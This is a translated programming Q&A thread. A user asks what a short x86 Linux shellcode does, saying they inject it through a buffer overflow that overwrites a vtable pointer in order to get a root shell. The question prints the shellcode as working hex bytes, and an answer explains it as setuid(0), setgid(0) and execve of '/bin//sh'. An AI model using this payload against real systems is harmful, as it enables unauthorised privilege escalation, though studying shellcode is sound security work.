2014-11-27 4 views
-5

Я вызываю шеллкод с использованием переполнения буфера, чтобы создать корневую оболочку. Может кто-нибудь объяснить, что именно делает этот шеллкод? Я попробовал разные shellcodes, чтобы создать корневую оболочку, но это был единственный, который работал для меня.Интерпретация shellcode

\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb 
\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68 
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89 
\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd 
\x80 
+3

Вы не говорите, как вы пытались найти ответ. Либо вы пробовали какой-то метод, и должны были спросить: почему в этом случае не работает метод X, или вы не знаете какого-либо такого метода, и должен был спросить: как решить такую ​​проблему. Теперь вы просто сбрасываете нечитаемый шестнадцатеричный код и оставляете его нам понятным. –

+2

Знаете ли вы, что такое «код оболочки»? Какие эти шестнадцатеричные числа * представляют *? – usr2564301

+0

@Hans Lub То, что я делаю, это перезаписать указатель vtable в коде C++. У меня очень ограниченное знание языка ассемблера, поэтому, когда я преобразовал этот код в сборку, я не смог сказать, что происходит. Поэтому я понимаю, как работает весь процесс переполнения, единственное, что неясно, что делает этот шеллкод. Я видел подобные вопросы на этом сайте. – robert

ответ

3

На первый взгляд, код, кажется, делает setuid(0), то setgid(0), а затем вызвать sys_execve() на некоторых значений (которые включают в себя ASCII коды "/bin//sh").

Похоже, что это чистый код «полезной нагрузки», поскольку я не вижу ничего, чтобы обеспечить выполнение кода на первом месте (переполнение буфера, разбиение стека и т. Д.).

(Благодаря @Hans Lub для ссылки дизассемблера)

Смежные вопросы